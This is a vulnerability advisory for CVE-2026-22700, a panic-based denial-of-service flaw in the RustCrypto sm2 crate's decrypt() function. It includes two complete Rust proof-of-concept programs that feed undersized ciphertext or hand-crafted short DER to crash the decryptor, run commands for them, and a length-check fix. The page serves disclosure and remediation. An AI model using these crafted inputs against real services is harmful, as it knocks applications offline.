CVE-2026-22700: RustCrypto Has Insufficient Length Validation in decrypt() in SM2-PKE
Summary
A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::splitat operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.
Affected Component / Versions
- File: src/pke/decrypting.rs
- Functions: DecryptingKey::decryptdigest/decrypt/decryptder, internal decrypt() implementation
- Affected releases: - sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0) - sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)
Details
The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.splitat(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.
rust fn decrypt( secretscalar: &Scalar, mode: Mode, hasher: &mut dyn DynDigest, cipher: &[u8], ) -> Result<Vec<u8>> { let q = U256::frombehex(FieldElement::MODULUS); let c1len = q.bits().divceil(8) 2 + 1; // Typically 65 for SM2
// B1: get 𝐶1 from 𝐶 let (c1, c) = cipher.splitat(c1len as usize); // PANIC HERE if cipher.len() < 65 let encodedc1 = EncodedPoint::frombytes(c1).maperr(Error::from)?;
// ... (lines 170-178 omitted)
let digestsize = hasher.outputsize(); // Typically 32 for SM3 let (c2, c3) = match mode { Mode::C1C3C2 => { let (c3, c2) = c.splitat(digestsize); // PANIC HERE if c.len() < 32 (c2, c3) } Mode::C1C2C3 => c.splitat(c.len() - digestsize), // PANIC HERE if c.len() < 32 };
Rust's slice::splitat panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.
Proof of Concept (PoC)
Two PoCs were added to this repository under examples/ demonstrating the two common ways to trigger the issue:
- examples/pocshortciphertext.rs — constructs a deliberately undersized ciphertext (e.g., vec![0u8; 10]) and passes it to DecryptingKey::decrypt. This triggers the cipher.splitat(c1len) panic.
rust //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter //! than the expected C1 length so that cipher.splitat(c1len) panics. //! //! Usage: //! cargo run --example pocshortciphertext use randcore::OsRng; use sm2::pke::DecryptingKey; use sm2::SecretKey; fn main() { // Generate a normal secret key and DecryptingKey instance. let mut rng = OsRng; let sk = SecretKey::tryfromrng(&mut rng).expect("failed to generate secret key"); let dk = DecryptingKey::new(sk); // to trigger the vulnerability in decrypt() where it does cipher.splitat(c1len). let shortciphertext = vec![0u8; 10]; // deliberately too short println!("Calling decrypt with undersized ciphertext (len = {})...", shortciphertext.len()); // The panic is the PoC for the lack of length validation. let = dk.decrypt(&shortciphertext); // If the library were robust, this line would be reached and decrypt would return Err. println!("decrypt returned (unexpected) - PoC did not panic"); } - examples/pocdershort.rs — constructs an ASN.1 Cipher structure with valid-length x/y coordinates (from a generated public key) but with tiny digest and cipher OCTET STRING fields (1 byte each). When run with the crate built with --features std, Cipher::fromder accepts the DER and the call flows into decrypt(), which then panics on the later splitat. rust //! Usage: //! RUSTBACKTRACE=1 cargo run --example pocdershort --features std use randcore::OsRng; use sm2::SecretKey; use sm2::pke::DecryptingKey; fn buildder(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> { // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher } let mut body = Vec::new(); // INTEGER x body.push(0x02); body.push(x.len() as u8); body.extendfromslice(x); // INTEGER y body.push(0x02); body.push(y.len() as u8); body.extendfromslice(y); // OCTET STRING digest (intentionally tiny) body.push(0x04); body.push(digest.len() as u8); body.extendfromslice(digest); // OCTET STRING cipher (intentionally tiny) body.push(0x04); body.push(cipher.len() as u8); body.extendfromslice(cipher); // SEQUENCE header let mut der = Vec::new(); der.push(0x30); der.push(body.len() as u8); der.extend(body); der } fn main() { let mut rng = OsRng; let sk = SecretKey::tryfromrng(&mut rng).expect("failed to generate secret key"); // Extract recipient public key coordinates before moving the secret key into DecryptingKey let pk = sk.publickey(); let dk = DecryptingKey::new(sk); // get SEC1 encoding 0x04 || X || Y and slice out X and Y let sec1 = pk.tosec1bytes(); let sec1ref: &[u8] = sec1.asref(); let x = &sec1ref[1..33]; let y = &sec1ref[33..65]; // Very small digest and cipher to trigger length-based panics inside decrypt() let digest = [0x33u8; 1]; let cipher = [0x44u8; 1]; let der = buildder(x, y, &digest, &cipher); println!("Calling decryptder with crafted short DER (len={})...", der.len()); // Expected to panic inside decrypt() due to missing length checks when splitting let = dk.decryptder(&der); println!("decryptder returned (unexpected) - PoC did not panic"); }
Reproduction (from repository root):
bash PoC that directly uses decrypt on a short buffer cargo run --example pocshortciphertext --features std
PoC that passes a short DER to decryptder RUSTBACKTRACE=1 cargo run --example pocdershort --features std
Impact
- Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption. - Low attacker effort: crafting short inputs or small DER octet strings is trivial. - Wide exposure: any application that exposes decryption endpoints and links this library is at risk.
Recommended Fix
Perform defensive length checks before any splitat usage and return a controlled Err instead of allowing a panic. Minimal fixes in decrypt():
rust let c1lenusize = c1len as usize; if cipher.len() < c1lenusize { return Err(Error); } let (c1, c) = cipher.splitat(c1lenusize);
let digestsize = hasher.outputsize(); if c.len() < digestsize { return Err(Error); } let (c2, c3) = match mode { Mode::C1C3C2 => { let (c3, c2) = c.splitat(digestsize); (c2, c3) } Mode::C1C2C3 => c.splitat(c.len() - digestsize), };
After applying these checks, decrypt() will return an error for short or malformed inputs instead of panicking.
Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine
CVE and credit are preferred.
If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.
Note
We follow the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.
Other sources
RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::splitat operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process. This issue has been patched via commit e60e991.
— MITRE
Affected Software
Remediation
Patch Available
Event History
Frequently Asked Questions
What is the severity of CVE-2026-22700?
The severity of CVE-2026-22700 is categorized as a denial-of-service vulnerability.
How do I fix CVE-2026-22700?
To fix CVE-2026-22700, update the elliptic-curve crate to version 0.14.0 or later.
What software versions are affected by CVE-2026-22700?
CVE-2026-22700 affects versions 0.14.0-pre.0 to 0.14.0-rc.0 of the RustCrypto elliptic curve library.
What type of vulnerability is CVE-2026-22700?
CVE-2026-22700 is a denial-of-service vulnerability that could disrupt the functionality of applications using the affected library.
Is there a known exploit for CVE-2026-22700?
As of now, there are no public reports of known exploits specifically targeting CVE-2026-22700.